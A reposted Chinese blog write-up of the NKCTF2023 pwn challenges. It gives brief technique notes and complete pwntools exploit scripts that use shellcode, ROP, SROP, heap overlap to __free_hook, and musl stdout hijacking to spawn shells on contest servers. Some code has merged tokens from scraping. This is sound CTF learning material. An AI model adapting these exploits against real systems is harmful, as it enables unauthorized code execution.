0


NKCTF2023

NKCTF2023

ezshellcode

ret2shellcode,用nop当滑板来避免爆破

from pwn import*
context.update(os='linux',arch='amd64')
context.log_level='debug'
binary='./ezshellcode'
elf=ELF(binary)#libc=ELF('')
debug=0if debug:
    libc=elf.libc
    p=process(binary)else:
    host='node.yuzhian.com.cn'
    port='38353'
    p=remote(host,port)defpwn():

    payload = shellcraft.sh()

    p.recvuntil("min!")

    p.send('\x90'*100+asm(payload))

    p.interactive()

pwn()

a_story_of_a_pwner

在bss段上构造链子,再栈迁移ret2bss

from pwn import*
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./story'
elf=ELF(binary)
libc=ELF('./libc.so.6')
debug=0if debug:
    libc=elf.libc
    p=process(binary)else:
    host='node2.yuzhian.com.cn'
    port='34482'
    p=remote(host,port)

menu ="> "defacm(content):
    p.sendlineafter(menu,'1')
    p.sendafter("comment?",content)defctf(content):
    p.sendlineafter(menu,'2')
    p.sendafter("corment?",content)deflove(content):
    p.sendlineafter(menu,'3')
    p.sendafter("corMenT?",content)defheart():
    p.sendlineafter(menu,'4')defpwn():
    heart()

    p.recvuntil("0x")
    libc_base =int(p.recvn(12),16)- libc.sym["puts"]
    system = libc_base + libc.sym["system"]
    binsh = libc_base +next(libc.search("/bin/sh"))
    pop_rdi_ret = libc_base +0x0000000000023b6a
    leave_ret =0x000000000040139e
    log.info("libc_base --> "+hex(libc_base))

    ctf(p64(pop_rdi_ret))
    acm(p64(binsh))
    love(p64(system))

    heart()
    p.recvuntil("heart...\n")

    payload ='a'*0xa+ p64(0x4050a0-0x8)+ p64(leave_ret)
    p.send(payload)

    p.interactive()
pwn()

ez_stack

在0x401146有执行SROP的后门,在bss上写入/bin/sh,再执行SROP即可

from pwn import*
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./ez_stack'
elf=ELF(binary)#libc=ELF('')
debug=0if debug:
    libc=elf.libc
    p=process(binary)else:
    host='node.yuzhian.com.cn'
    port='36591'
    p=remote(host,port)

bss = elf.bss(0x200)
csu_back =0x000000000040127A
csu_front =0x0000000000401260
pop_rbp_ret =0x000000000040111d
ret =0x000000000040101a
pop_rdi_ret =0x0000000000401283
pop_rsi_r15_ret =0x0000000000401281
pop_rsp_r13_r14_r15_ret =0x000000000040127d
syscall =0x000000000040114E
magic =0x401146defpwn():
    p.recvuntil("NKCTF!\n")

    frame = SigreturnFrame()
    frame.rdi = bss
    frame.rsi =0
    frame.rdx =0
    frame.rax =59
    frame.rip = syscall

    payload ='a'*(0x10+8)+ p64(pop_rsi_r15_ret)
    payload += p64(bss)+ p64(0)+ p64(syscall)
    payload += p64(magic)+ p64(syscall)+bytes(frame)#gdb.attach(p)
    p.send(payload)#pause()
    sleep(0.3)
    payload ="/bin/sh\x00"
    p.send(payload)

    p.interactive()

pwn()

babyrop

my_read函数中存在off-by-null,会改掉rbp值的低一字节,就可以实现栈迁移,用ret当滑板,提高成功概率,先用puts来leak,再配合ret2csu(因为0x0a会导致截断,不能直接用pop_rbx开始的csu,用从pop_rbp开始的csu,并且要调整各寄存器的赋值,才能实现ret2csu的功能),实现写入bssgadget链子,并栈迁移到bss上

from pwn import*
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./babyrop'
elf=ELF(binary)
libc=ELF('/home/enllus1on/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6')
debug=0if debug:
    libc=elf.libc
    p=process(binary)else:
    host='node.yuzhian.com.cn'
    port='39496'
    p=remote(host,port)

read_got = elf.got["read"]
pop_rdi_ret =0x0000000000401413
pop_rsi_r15_ret =0x0000000000401411
pop_rbp_ret =0x00000000004011bd
ret =0x000000000040101a
leave_ret =0x00000000004012af
bss = elf.bss(0x200)
csu_back =0x000000000040140B
csu_front =0x00000000004013F0defcsu(func,rdi,rsi,rdx):
    payload=''
    payload+=p64(csu_back)
    payload+=p64(0x4013b1)
    payload+=p64(rdi)+p64(rsi)+p64(rdx)+p64(func)
    payload+=p64(csu_front)return payload

defpwn():
    p.recvuntil("name: ")
    p.sendline('%41$p')

    p.recvuntil("Hello, ")

    p.recvuntil("0x")
    canary =int(p.recvn(16),16)
    log.info("canary --> "+hex(canary))

    payload = p64(ret)*(13)
    payload += flat(pop_rdi_ret, elf.got["puts"], elf.plt["puts"])
    payload+=p64(csu_back)
    payload+=p64(0x4013b1)
    payload+=p64(0)+ p64(bss)+ p64(0x200)+ p64(0xFFFFFFFFFE3FA2B0)
    payload+=p64(csu_front)
    payload += p64(bss)*7+ p64(leave_ret)
    payload += p64(canary)#gdb.attach(p, 'b 0x401365')
    p.sendafter("NKCTF: ", payload)

    addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    libc_base = addr - libc.sym["puts"]
    system = libc_base + libc.sym["system"]
    binsh = libc_base +next(libc.search("/bin/sh"))open= libc_base + libc.sym["open"]
    read = libc_base + libc.sym["read"]
    write = libc_base + libc.sym["write"]
    pop_rdx_ret = libc_base +0x0000000000142c92
    pop_rsi_ret = libc_base +0x000000000002601f
    pop_rax_ret = libc_base +0x0000000000036174
    syscall_ret = libc_base +0x00000000000630a9
    log.info("libc_base --> "+hex(libc_base))

    sleep(0.3)

    payload = flat("./flag".ljust(8,'\x00'),
        pop_rdi_ret, bss,
        pop_rsi_ret,0,
        pop_rdx_ret,0,
        pop_rax_ret,2,
        syscall_ret,

        pop_rdi_ret,3,
        pop_rsi_ret, bss+0x100,
        pop_rdx_ret,0x30,
        pop_rax_ret,0,
        syscall_ret,

        pop_rdi_ret,1,
        pop_rsi_ret, bss+0x100,
        pop_rdx_ret,0x30,
        pop_rax_ret,1,
        syscall_ret,)#gdb.attach(p)
    p.send(payload)

    p.interactive()

pwn()

baby_heap

edit存在off-by-one,实现overlapping,来控制fd指针,实现打__free_hook

from pwn import*
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./baby_heap'
elf=ELF(binary)
libc=ELF('./libc-2.32.so')
debug=0if debug:
    libc=elf.libc
    p=process(binary)else:
    host='node2.yuzhian.com.cn'
    port='32371'
    p=remote(host,port)

menu ="choice: "defadd(idx, size):
    p.sendlineafter(menu,'1')
    p.sendlineafter("index: ",str(idx))
    p.sendlineafter("Size: ",str(size))defdelete(idx):
    p.sendlineafter(menu,'2')
    p.sendlineafter("index: ",str(idx))defedit(idx, content):
    p.sendlineafter(menu,'3')
    p.sendlineafter("index: ",str(idx))
    p.sendlineafter("content: ",content)defshow(idx):
    p.sendlineafter(menu,'4')
    p.sendlineafter("index: ",str(idx))defdebug():
    gdb.attach(p)
    pause()defpwn():for i inrange(10):
        add(i,0xb8)

    delete(0)
    add(0,0xb8)
    show(0)

    heapbase = u64(p.recvn(5).ljust(8,'\x00'))<<12
    log.info("heapbase --> "+hex(heapbase))for i inrange(0,8):
        delete(i)

    add(0,0x58)
    add(1,0x58)
    show(0)

    libcbase = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1e3cb0
    __free_hook = libcbase + libc.sym["__free_hook"]
    system = libcbase + libc.sym["system"]
    log.info("libcbase --> "+hex(libcbase))

    add(2,0xb8)
    payload ='a'*0xb8+p8(0xc1)
    edit(2, payload)

    add(10,0x58)
    delete(10)
    delete(1)
    delete(0)

    add(0,0xb1)

    payload ='a'*0x58+ p64(0x61)+ p64(__free_hook^(heapbase>>12))
    edit(0, payload)#debug()
    add(3,0x50)#debug()
    add(4,0x50)

    edit(3,"/bin/sh\x00")
    edit(4, p64(system))
    delete(3)

    p.interactive()
pwn()

only_read

改read_got最低一字节,使得调用read直接执行syscall,再配合栈迁移和read读入的字节数,会赋值给rax,来实现SROP来getshell

from pwn import*
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./only_read'
elf=ELF(binary)
libc=ELF('/home/enllus1on/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6')
debug=0if debug:
    libc=elf.libc
    p=process(binary)else:
    host='node2.yuzhian.com.cn'
    port='39065'
    p=remote(host,port)

part1 ="V2VsY29tZSB0byBOS0NURiE="
part2 ="dGVsbCB5b3UgYSBzZWNyZXQ6"
part3 ="SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45"
part4 ="Y2FuIHlvdSBmaW5kIG1lPw=="

csu_back =0x000000000040167A
csu_front =0x0000000000401660
pop_rdi_ret =0x0000000000401683
pop_rsi_r15_ret =0x0000000000401681
pop_rbp_ret =0x000000000040117d
leave_ret =0x00000000004013c2
bss = elf.bss(0xe00)
ret =0x000000000040101a# read --> syscall# memset --> read_plt# SROPdefpwn():
    p.send(part1)
    sleep(0.2)

    p.send(part2)
    sleep(0.2)

    p.send(part3)
    sleep(0.2)

    p.send(part4)
    sleep(0.2)

    payload ='a'*(0x30+8)+ p64(pop_rdi_ret)+ p64(0)
    payload += p64(pop_rsi_r15_ret)+ p64(elf.got["memset"])+ p64(0)
    payload += p64(elf.plt["read"])
    payload += p64(pop_rdi_ret)+ p64(0)
    payload += p64(pop_rsi_r15_ret)+ p64(bss)+ p64(0)
    payload += p64(elf.plt["memset"])
    payload += p64(pop_rbp_ret)+ p64(bss)+ p64(leave_ret)#gdb.attach(p)
    p.send(payload)#pause()
    sleep(0.2)#gdb.attach(p)
    payload = p64(0x401050)+'\xd0'
    p.send(payload)#pause()

    frame = SigreturnFrame()
    frame.rdi = bss
    frame.rsi =0
    frame.rdx =0
    frame.rax =59
    frame.rsp = bss +0x100
    frame.rip = elf.plt["read"]

    sleep(0.2)
    payload ="/bin/sh\x00" 
    payload += p64(pop_rdi_ret)+ p64(0) 
    payload += p64(pop_rsi_r15_ret)+ p64(elf.got["memset"]-6)+ p64(0)
    payload += p64(elf.plt["memset"])
    payload += p64(elf.plt["read"])+bytes(frame)

    p.send(payload)#pause()

    sleep(0.2)
    payload ='\x00'*6+ p64(0x401050)+'\xd0'
    p.send(payload)#pause()
    p.interactive()

pwn()

9961code

一直都不怎么会写shellcode,www,询问了Korey0sh1师傅才会写的,直接getshell就行

from pwn import*
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./9961code'
elf=ELF(binary)
libc=ELF('./libc.so.6')
debug=0if debug:
    libc=elf.libc
    p=process(binary)else:
    host='node2.yuzhian.com.cn'
    port='38660'
    p=remote(host,port)# cdq give rdx rax'sigbitdefpwn():
    p.recvuntil("shellcode!\n")

    shellcode ="""
        xor rsi,rsi
        lea rdi,[r15+0xe]
        cdq
        mov ax,59
        syscall 
    """#gdb.attach(p,'b *$rebase(0x139b)')
    p.send(asm(shellcode)+'/bin/sh')

    p.interactive()

pwn()

note

musl pwn,idx没有限制,可以一直往下找,就会找到你第一次申请的chunk的值的地址,先找个idx,来leak heapbase,然后就可以edit idx0 为某个chunk地址, 然后show上面找到的地址来,leak libc,其实就相当于任意读写,劫持__stdout_used,伪造fake_stdout_file就能getshell

有关musl的知识可以看我之前的blog

from pwn import*
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./nk_note'
elf=ELF(binary)
libc=ELF('./libc.so')
debug=0if debug:
    libc=elf.libc
    p=process(binary)else:
    host='node2.yuzhian.com.cn'
    port='36147'
    p=remote(host,port)

menu ="choice: "defadd(idx, size, content):
    p.sendlineafter(menu,'1')
    p.sendlineafter("Index: ",str(idx))
    p.sendlineafter("Size: ",str(size))
    p.sendafter("Content: ",content)defedit(idx, size, content):
    p.sendlineafter(menu,'2')
    p.sendlineafter("Index: ",str(idx))
    p.sendlineafter("Size: ",str(size))
    p.sendafter("Content: ",content)defdelete(idx):
    p.sendlineafter(menu,'3')
    p.sendlineafter("Index: ",str(idx))defshow(idx):
    p.sendlineafter(menu,'4')
    p.sendlineafter("Index: ",str(idx))defdebug():
    gdb.attach(p)
    pause()defpwn():
    add(0,0xc,'aaaa')
    add(1,0x1c,'aaaa')

    show(0x10)

    heapbase = u64(p.recvn(6).ljust(8,'\x00'))-0x1248
    log.info("heapbase-->"+hex(heapbase))

    edit(0,0xc,p64(heapbase+0x1320))
    show(0x572)

    libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x9bd10
    __stdout_used = libc_base +0x98450
    __malloc_context = libc_base +0x98b60
    system = libc_base + libc.sym["system"]
    log.info("libc_base-->"+hex(libc_base))
    add(2,0x1000,'aaaa')

    edit(0,0xc,p64(__stdout_used))

    edit(0x572,0x8,p64(libc_base-0x4000+0x20))

    fake_stdout_file ='/bin/sh\x00'.ljust(0x38,'\x00')+ p64(1)+ p64(0)+ p64(system)
    edit(2,0x50,fake_stdout_file)#debug()
    p.sendlineafter(menu,'5')

    p.interactive()
pwn()

bytedance

off-by-null

原题,钝角

scanf读入过多字符,会制造大chunk,从而导致__malloc_consolidate(),能够进入smallbins和unsortedbin

强大的堆风水,off-by-null,制造shrink chunk,来overlapping,堆重叠,泄露libc,再通过double free来在main_arena留下0x41,再控制fd指针来alloc到这里,再控制main_arena->top 到__malloc_hook附近,打ogg,来getshell

from pwn import*
context.update(os='linux',arch='amd64',timeout=1)#context.log_level='debug'
binary='./bytedance'
elf=ELF(binary)
libc=ELF('/home/enllus1on/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
debug=1if debug:
    libc=elf.libc
    p=process(binary)else:
    host=''
    port=''
    p=remote(host,port)

menu ="Choice:"defadd(size,content):
    p.sendlineafter(menu,'1')
    p.sendlineafter("size:",str(size))
    p.sendafter("content:",content)defshow(idx):
    p.sendlineafter(menu,'2')
    p.sendlineafter("index:",str(idx))defdelete(idx):
    p.sendlineafter(menu,'3')
    p.sendlineafter("index: ",str(idx))defconsolidate():
    p.sendlineafter(menu,'1'*0x400)defdebug():
    gdb.attach(p)
    pause()# off-by-null# scanf too much char --> big_chunk# chunk shrink --> over_lappingdefpwn():
    add(0x18,'0'+'\n')
    add(0x18,'1'+'\n')
    add(0x18,'2'+'\n')
    add(0x18,'3'+'\n')
    add(0x18,'4'+'\n')
    add(0x18,'5'+'\n')
    add(0x18,'6'+'\n')
    add(0x18,'7'+'\n')
    add(0x18,'8'*0x10+p16(0x100)+'\n')
    add(0x18,'9'+'\n')
    add(0x18,'10'+'\n')for i inrange(1,10):
        delete(i)

    consolidate()#debug()

    delete(0)
    add(0x18,'a'*0x18)# chunk shrink#debug()for i inrange(7):
        add(0x18,'a'+'\n')# 1-7#debug()

    delete(1)
    delete(2)
    delete(3)
    consolidate()# bypass unlink check#debug()

    delete(10)
    consolidate()# all back top_chunk#debug()

    add(0x28,'1'+'\n')
    add(0x28,'2'+'\n')
    add(0x28,'3'+'\n')
    add(0x28,'8'+'\n')
    add(0x38,'9'*0x30+p64(0x100)+'\n')
    add(0x38,'10'+'\n')# 10
    add(0x28,'11'+'\n')#debug()

    delete(1)
    delete(2)
    delete(3)
    delete(8)
    delete(9)
    delete(10)

    consolidate()#debug()

    delete(0)
    add(0x18,'a'*0x18)# chunk shrink again#debug()
    
    add(0x28,'1'+'\n')
    add(0x28,'2'+'\n')#debug()
    show(4)
    
    libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c4b78
    one =[0x45226,0x4527a,0xf03a4,0xf1247]for i inrange(4):
        one[i]+= libc_base
    log.info("libc_base-->"+hex(libc_base))

    add(0x28,'3'+'\n')# 3 4
    add(0x28,'8'+'\n')
    add(0x38,'9'+'\n')#9 7
    add(0x38,'10'+'\n')

    delete(3)
    delete(8)
    delete(4)

    delete(9)
    delete(10)
    delete(7)

    add(0x28,p64(0x41)+'\n')# 3 leave 0x41 in main_arena
    add(0x28,'a'+'\n')# 4
    add(0x28,'a'+'\n')# 7

    add(0x38,p64(libc_base+0x3c4b20+0x8)+'\n')# 8
    add(0x38,'a'+'\n')# 9
    add(0x38,'a'+'\n')# 10# leave another 0x41 alloc to there
    add(0x38,p64(libc_base+0x3c4b20+0x8+0x20)+'\x00'*0x10+p64(0x41)+'\n')# 12# change main_arena.top--> __malloc_hook
    add(0x38,'\x00'*0x20+p64(libc_base+0x3c4b10-0x10)+p64(0)+'\n')
    add(0x38,p64(one[2])*2+'\n')

    delete(3)
    delete(7)
    
    p.interactive()
pwn()

本文转载自: https://blog.csdn.net/weixin_73290593/article/details/129805097
版权归原作者 enllus1on 所有, 如有侵权,请联系我们删除。

“NKCTF2023”的评论:

还没有评论